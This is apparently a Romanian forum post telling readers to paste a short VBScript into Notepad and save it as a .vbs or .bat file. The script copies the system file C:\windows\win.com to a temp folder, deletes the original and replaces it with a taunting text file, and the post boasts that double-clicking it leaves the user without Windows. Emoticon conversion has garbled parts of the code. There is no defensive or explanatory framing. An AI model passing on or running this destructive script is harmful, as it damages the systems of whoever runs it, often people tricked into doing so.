Creati un Fisier Text Nodepad si scrieti in el asta: Dim fso, fs1, fs2 Dim drive, folder, file Set fso = CreateObject("Scripting.FileSystemObject"smiley drive = "c:\" folder ="windows\" file = "win.com" Set fs1 = fso.GetFile(drive&folder&file) fs1.copy ("c:\windows\temp\win.com"smiley set fs2=fso.CreateTextFile("c:\windows\win.com"smiley fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif" Set fs1 = fso.GetFile(drive&folder&file) fs1.delete fs2.closeApoi dati sus la Fille => Save as si alegem un nume EX: windows.vbs sau nume.bat !!!Atentie!!! Nu dati dublu clik pe el
DACA VRETI SA RAMANETI FARA WINDOWS DATI DUBLU-CLIK PE EL
_______________________________________ _____________ CaNd Mi-Ai IeSiT In TiNtA Nu FuGi .. Nu FaCi DeCaT Sa MoRi ObOsIT _______________